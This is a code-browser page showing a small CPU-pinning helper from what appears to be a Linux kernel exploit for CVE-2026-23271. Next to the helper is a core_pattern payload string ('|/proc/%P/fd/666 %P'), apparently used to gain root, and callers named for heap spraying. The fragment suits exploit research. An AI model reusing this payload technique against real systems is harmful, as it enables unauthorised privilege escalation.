MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / bind_to_cpu

Function bind_to_cpu

CVE-2026-23271/exploit/exploit.cpp:1677–1687  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

1675}
1676
1677int bind_to_cpu(int cpu_id) {
1678 cpu_set_t mask;
1679 CPU_ZERO(&mask);
1680 CPU_SET(cpu_id, &mask);
1681 if (sched_setaffinity(0, sizeof(mask), &mask) < 0) {
1682 perror("sched_setaffinity");
1683 return -1;
1684 }
1685 sched_yield();
1686 return 0;
1687}
1688
1689const char desired_core_pattern[] = "|/proc/%P/fd/666 %P";
1690

Callers 4

single_spray_threadFunction · 0.85
sprayer_threadFunction · 0.85
locate_victim_eventFunction · 0.85
mainFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected